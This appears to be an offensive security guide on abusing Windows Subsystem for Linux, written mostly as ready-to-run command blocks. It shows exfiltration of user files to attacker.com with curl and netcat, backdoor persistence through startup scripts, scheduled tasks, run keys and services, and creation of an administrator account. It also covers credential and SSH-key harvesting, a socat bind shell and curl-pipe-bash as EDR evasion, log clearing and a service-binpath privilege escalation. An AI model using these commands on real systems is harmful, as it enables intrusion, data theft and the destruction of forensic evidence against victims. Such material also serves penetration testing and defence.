This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Abusing Windows Subsystem for Linux (WSL)

Understanding WSL Architecture

What WSL Really Is

Windows Subsystem for Linux (WSL) is Microsoft's compatibility layer that allows you to run Linux binary executables natively on Windows. Think of it as a bridge between two worlds - Windows and Linux - but this bridge creates unique attack opportunities.

WSL1 vs WSL2 Key Differences:

  • WSL1: Translation layer that converts Linux system calls to Windows NT kernel calls in real-time

  • WSL2: Full Linux kernel running in a lightweight Hyper-V virtual machine with bridged file system and network access

Important WSL2 Isolation Notes: WSL2 introduces more isolation than WSL1. While file access and network interfaces are bridged, WSL2 runs in a VM which means:

  • Direct memory access to Windows processes is not possible

  • Some networking behaviors differ from WSL1

  • The isolation is more rigid, though file system bridges still work

Why WSL Creates Security Risks

The fundamental problem is privilege inheritance and cross-platform access:

  1. User-Level Privilege Inheritance: WSL processes run with the same Windows user privileges (not SYSTEM, but the user's token)

  2. File System Bridge: WSL can read/write Windows files through /mnt/c/ and \\wsl$\ shares

  3. Cross-Platform Execution: WSL can execute Windows binaries via cmd.exe and powershell.exe

  4. Network Interface Sharing: Both systems can share network interfaces

  5. Credential Access: WSL can potentially access Windows user-level credentials and data

Critical Understanding: WSL root ≠ Windows SYSTEM. WSL inherits the launching Windows user's privileges, not elevated system privileges.

Discovery and Enumeration

Detecting WSL Installation

From Windows Command Line:

# Check if WSL feature is enabled
dism /online /get-features | findstr "Microsoft-Windows-Subsystem-Linux"

# List installed distributions
wsl --list --all
wsl -l -v

# Check WSL version
wsl --version
wsl --status

From PowerShell:

# Check WSL optional feature status
Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

# Find WSL installations via registry
Get-ChildItem "HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss" -ErrorAction SilentlyContinue

# Check for WSL packages
Get-AppxPackage | Where-Object {$_.Name -like "*Ubuntu*" -or $_.Name -like "*Debian*" -or $_.Name -like "*SUSE*"}

# Check for WSL2 virtual machines
Get-VM | Where-Object {$_.Name -like "*WSL*"}

From Linux Side:

# Check if we're running in WSL
uname -r | grep -i microsoft
cat /proc/version | grep -i microsoft

# Determine WSL version
if [ -f /proc/version ]; then
    if grep -qi "microsoft.*wsl2" /proc/version; then
        echo "Running WSL2"
    elif grep -qi "microsoft" /proc/version; then
        echo "Running WSL1"
    fi
fi

File System Reconnaissance

Windows to WSL Access:

# Access WSL file systems via network share
Get-ChildItem \\wsl$\
Get-ChildItem \\wsl$\Ubuntu-20.04\home\
Get-ChildItem \\wsl$\Ubuntu-20.04\etc\

# Find WSL installation directories (WSL1 primarily)
Get-ChildItem "$env:LOCALAPPDATA\Packages" | Where-Object {$_.Name -like "*Ubuntu*" -or $_.Name -like "*Debian*"}

# WSL2 virtual disk locations
Get-ChildItem "$env:USERPROFILE\AppData\Local\Packages\*\LocalState\*.vhdx"
Get-ChildItem "$env:USERPROFILE\AppData\Local\Docker\wsl\*\*.vhdx"

WSL to Windows Access:

# Access Windows drives (available in both WSL1 and WSL2)
ls /mnt/c/Users/
ls /mnt/c/Windows/System32/

# Find interesting Windows files
find /mnt/c/ -name "*.txt" -o -name "*.log" -o -name "*.config" 2>/dev/null | head -20

# Check Windows registry via Windows binaries
# Note: WSL cannot directly access registry - must use Windows tools
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" 2>/dev/null

Cross-Platform File Access Exploitation

Understanding the File System Bridge

The /mnt/c/ mount point in WSL provides access to the Windows C: drive with the launching user's permissions:

  • Read access: Any file readable by the Windows user

  • Write access: Any location writable by the Windows user

  • This includes user documents, some system locations, and application data

  • Does NOT include files requiring administrator privileges unless user is admin

Data Exfiltration Techniques

From Windows to WSL:

# Copy user-accessible files to WSL
Copy-Item "$env:USERPROFILE\Documents\passwords.txt" "\\wsl$\Ubuntu\tmp\"
Copy-Item "C:\ProgramData\Application\config.xml" "\\wsl$\Ubuntu\tmp\" -ErrorAction SilentlyContinue

# Transfer via pipe
Get-Content "C:\Users\$env:USERNAME\Documents\sensitive.txt" | wsl tee /tmp/exfil.txt

From WSL to External Systems:

# Exfiltrate Windows user files via WSL tools
curl -X POST -F "file=@/mnt/c/Users/$USER/Documents/passwords.txt" http://attacker.com/upload

# Base64 encode and exfiltrate
base64 /mnt/c/Users/$USER/Documents/sensitive.txt | curl -X POST -d @- http://attacker.com/data

# Use netcat for data transfer
cat /mnt/c/Users/$USER/AppData/Local/Application/data.db | nc attacker.com 4444

Advanced File Manipulation

Bypassing Windows File Locks:

# Sometimes WSL can access files that Windows applications have locked
cp /mnt/c/Users/$USER/AppData/Local/Application/locked.db /tmp/unlocked_copy

# Access files via different path resolution
strings "/mnt/c/Program Files/Application/config.dat"

Creating Cross-Platform Access:

# Create directories accessible from both systems
mkdir -p /mnt/c/ProgramData/.maintenance
echo "cross-platform persistence" > /mnt/c/ProgramData/.maintenance/update.log

# Modify Windows user startup files
echo 'wsl bash -c "/tmp/startup_script.sh" &' >> "/mnt/c/Users/$USER/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/system_check.bat"

Privilege Escalation via WSL

Understanding WSL Privilege Model

Key Principle: WSL inherits the exact privileges of the launching Windows user:

  • Regular user → WSL has regular user privileges

  • Administrator → WSL can access admin-level Windows resources

  • WSL "root" ≠ Windows SYSTEM (this is a common misconception)

Token Access and Manipulation

Checking Current Token Privileges:

# Check Windows user privileges from WSL
cmd.exe /c "whoami /all"
powershell.exe -Command "([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')"

# Get detailed user information
powershell.exe -Command "Get-CimInstance -ClassName Win32_UserAccount | Where-Object {$_.Name -eq '$env:USERNAME'}"

Leveraging Inherited Privileges:

# If Windows user is admin, these commands will work
cmd.exe /c "net user hacker Password123! /add"
cmd.exe /c "net localgroup administrators hacker /add"

# Access admin-only Windows locations
ls /mnt/c/Windows/System32/config/ 2>/dev/null
cat /mnt/c/Windows/System32/drivers/etc/hosts

WSL Root Exploitation

Understanding WSL Root:

# Many WSL installations allow passwordless sudo
sudo -l

# Become root in WSL (this is still bound by Windows user privileges)
sudo su -

# Check what this actually means
id  # Shows uid=0 (root)
cmd.exe /c "whoami"  # Still shows Windows username, not SYSTEM

Exploiting Default Configurations:

# Default Ubuntu WSL often has no root password
sudo passwd root  # Set root password if needed

# Root in WSL can access all WSL filesystem but Windows access is still limited by user token
sudo cat /etc/shadow  # Works - Linux root privileges
sudo ls /mnt/c/Windows/System32/config/  # May fail - depends on Windows user privileges

Cross-Platform Process Execution

Windows to WSL Execution

Basic Command Execution:

# Execute Linux commands from Windows
wsl whoami
wsl uname -a
wsl "ps aux | grep ssh"

# Execute and capture output
$linuxUsers = wsl bash -c "cat /etc/passwd"
$linuxUsers | Out-File -FilePath "C:\temp\linux_users.txt"

# Background execution
Start-Process wsl -ArgumentList "bash -c 'nohup /tmp/background_task.sh > /dev/null 2>&1 &'" -WindowStyle Hidden

# Execute specific distribution
wsl -d Ubuntu-20.04 bash -c "cat /etc/os-release"

WSL to Windows Execution

Cross-Platform Command Execution:

# Execute Windows binaries from WSL (inherits WSL's Windows token)
cmd.exe /c "dir C:\\Users"
powershell.exe -Command "Get-Process | Select-Object Name,Id,CPU"

# Execute PowerShell scripts
powershell.exe -ExecutionPolicy Bypass -File /mnt/c/temp/script.ps1

# Background Windows process execution
cmd.exe /c "start /B malicious.exe"

# Execute with specific user (if credentials available)
# Note: This uses Windows authentication, not Linux
runas.exe /user:DOMAIN\\user "cmd.exe"

Advanced Execution Techniques:

# Chain commands across platforms
result=$(cmd.exe /c "echo %USERNAME%" | tr -d '\r')
echo "Windows user is: $result" > /tmp/current_user.txt

# Use Windows tools with Linux processing
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" | grep -v "HKEY" | awk '{print $1}'

Network Attack Vectors

Network Interface Behavior

WSL1 vs WSL2 Networking:

  • WSL1: Shares Windows network stack directly

  • WSL2: Uses NAT with port forwarding for external access

Network Reconnaissance:

# Check network configuration
ip addr show  # WSL network interfaces
route -n      # Routing table

# Windows network from WSL perspective
cmd.exe /c "ipconfig /all"
cmd.exe /c "netstat -an"

Traffic Interception (WSL1 primarily):

# Capture traffic (requires appropriate permissions)
tcpdump -i eth0 -w /tmp/capture.pcap

# Monitor for credentials (limited effectiveness in WSL2)
tcpdump -i eth0 -A | grep -i "password\\|username\\|login"

Port Forwarding and Tunneling

WSL2 Port Forwarding:

# WSL2 requires explicit port forwarding for external access
# From Windows (as admin):
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=4444 connectaddress=$(wsl hostname -I | awk '{print $1}')

# Create reverse tunnels
ssh -R 4444:localhost:22 user@external.com

# Local port forwarding
ssh -L 3389:internal.server:3389 user@jumpbox

Credential Access and Harvesting

Windows Credential Access from WSL

Registry Credential Mining (via Windows tools):

# Note: WSL cannot directly access Windows registry
# Must use Windows registry tools

# Check for stored credentials
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" /v DefaultPassword 2>/dev/null

# Auto-login credentials
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" /v AutoAdminLogon 2>/dev/null

# Enumerate Windows credential manager
cmdkey.exe /list

File System Credential Search:

# Search user-accessible credential files
find /mnt/c/Users/$USER -type f \\( -name "*.txt" -o -name "*.xml" -o -name "*.config" \\) -exec grep -l -i "password\\|credential\\|secret" {} \\; 2>/dev/null

# Browser data (user-accessible)
ls "/mnt/c/Users/$USER/AppData/Local/Google/Chrome/User Data/Default/Login Data" 2>/dev/null

# SSH keys
find /mnt/c/Users/$USER -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null

Memory Analysis Limitations

Memory Analysis Considerations:

# Install volatility in WSL
pip3 install volatility3

# Analyze Windows memory dumps (if accessible)
# Note: Limited by user permissions and memory dump availability
python3 vol.py -f /mnt/c/temp/memory.dmp windows.pslist
python3 vol.py -f /mnt/c/temp/memory.dmp windows.hashdump

Persistence Mechanisms

WSL-Specific Persistence

WSL Startup Script Persistence:

# Modify user startup scripts (persists within WSL sessions)
echo "/tmp/persistent_backdoor.sh &" >> ~/.bashrc
echo "/tmp/persistent_backdoor.sh &" >> ~/.profile

# System-wide WSL persistence (requires WSL root)
echo "/tmp/system_backdoor.sh &" >> /etc/bash.bashrc

Important Note: WSL persistence only triggers when WSL is launched. For cross-reboot persistence, combine with Windows-side triggers.

Windows Startup via WSL

Effective Cross-Platform Persistence:

# Method 1: Windows startup folder
startup_dir="/mnt/c/Users/$USER/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
echo 'wsl bash -c "/tmp/persistent_backdoor.sh" &' > "$startup_dir/system_update.bat"

# Method 2: Scheduled task creation
schtasks.exe /create /tn "WSLSystemUpdate" /tr "wsl bash -c '/tmp/backdoor.sh'" /sc onlogon /f

# Method 3: Registry run key
reg.exe add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WSLUpdate" /t REG_SZ /d "wsl bash -c '/tmp/backdoor.sh'" /f

Service Creation via WSL

Windows Service Creation:

# Create malicious Windows service (requires admin privileges)
sc.exe create "WSLSystemService" binpath= "wsl bash -c '/tmp/service_backdoor.sh'" start= auto DisplayName= "WSL System Service"

# Start the service (if creation successful)
sc.exe start "WSLSystemService"

Evasion Techniques

Detection Evasion

Process Hiding:

# Use Linux process names that blend in
cp malicious_binary /usr/bin/systemd-networkd
nohup /usr/bin/systemd-networkd > /dev/null 2>&1 &

# Background processes with legitimate names
cp payload /tmp/kworker
nohup /tmp/kworker > /dev/null 2>&1 &

File System Evasion:

# Hide files in Linux filesystem structure
mkdir -p /var/lib/systemd/.config
mv malicious_files /var/lib/systemd/.config/

# Use Linux permissions and hidden files
chmod 600 /tmp/.system_cache
chattr +i /tmp/.system_cache  # Make immutable (if ext filesystem)

Anti-Forensics:

# Clear Linux-side evidence
history -c && history -w
rm ~/.bash_history
rm /var/log/auth.log 2>/dev/null
rm /var/log/syslog 2>/dev/null

# Clear Windows evidence via WSL
powershell.exe -Command "Clear-EventLog -LogName Application,System,Security" 2>/dev/null

Modern EDR Considerations

Important Note: Modern EDRs (Defender for Endpoint, CrowdStrike, etc.) may monitor:

  • WSL process execution

  • Cross-platform file access

  • Command-line activity in both environments

  • Network connections from WSL

EDR Evasion Strategies:

# Use legitimate administrative tools
wsl bash -c "curl -s https://legitimate-site.com/admin-tool.sh | bash"

# Avoid obvious malicious patterns
# Instead of: nc -l -p 4444 -e /bin/bash
# Use: socat TCP4-LISTEN:4444,fork EXEC:/bin/bash

# Time-delayed execution
echo "sleep 3600 && /tmp/delayed_payload.sh" | at now 2>/dev/null

Advanced Attack Scenarios

Scenario 1: Corporate Environment Lateral Movement

Network Discovery via WSL:

# Use Linux tools for network reconnaissance
nmap -sn 192.168.1.0/24 -oG - | grep "Up" | awk '{print $2}'

# Active Directory enumeration
# Install and use Linux AD tools
python3 /opt/BloodHound.py/bloodhound.py -u user -p password -d domain.com -c all -ns 192.168.1.10

# Kerberoasting from WSL
python3 /opt/impacket/examples/GetUserSPNs.py domain.com/user:password -outputfile kerberos.txt

Scenario 2: Data Exfiltration Pipeline

Comprehensive Data Gathering:

# Step 1: Identify valuable data
find /mnt/c/Users/ \\( -name "*.docx" -o -name "*.xlsx" -o -name "*.pdf" -o -name "*.pst" \\) -newer /mnt/c/Windows/System32/drivers/etc/hosts > /tmp/target_files.txt

# Step 2: Compress and encrypt
tar czf - $(cat /tmp/target_files.txt) | gpg --symmetric --cipher-algo AES256 --compress-algo 2 > /tmp/exfil.tar.gz.gpg

# Step 3: Exfiltrate via multiple channels
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @/tmp/exfil.tar.gz.gpg http://attacker.com/upload

Scenario 3: Privilege Escalation Chain

Complete Escalation Process:

# Step 1: Enumerate from WSL
powershell.exe -Command "Get-Service | Where-Object {$_.Status -eq 'Running' -and $_.StartType -eq 'Automatic'}"

# Step 2: Check for vulnerable services
accesschk.exe -accepteula -uwcqv "Everyone" * > /tmp/service_perms.txt

# Step 3: Exploit via cross-platform approach
echo 'net user hacker Password123! /add && net localgroup administrators hacker /add' > /mnt/c/temp/escalate.bat
sc.exe config VulnerableService binpath= "C:\\temp\\escalate.bat"
sc.exe start VulnerableService

Key Considerations

Technical Limitations

  • WSL2 Isolation: More network and memory isolation than WSL1

  • Process Injection: Cannot directly inject into Windows processes from WSL

  • DLL Compilation: Must use MinGW cross-compiler for Windows-compatible DLLs

  • Registry Access: Must use Windows tools (reg.exe) - no direct access from WSL

  • Privilege Boundaries: WSL inherits Windows user privileges, not system privileges

Operational Requirements

  • WSL must be installed and enabled on target system

  • User must have permissions to launch WSL

  • Cross-platform techniques require Windows binaries accessible from WSL

  • Network behavior differs between WSL1 and WSL2

Detection Considerations

  • Modern EDRs may monitor WSL activity

  • Cross-platform file access can be logged

  • Command-line activity in both environments may be monitored

  • Network connections from WSL may be scrutinized

Last updated

Was this helpful?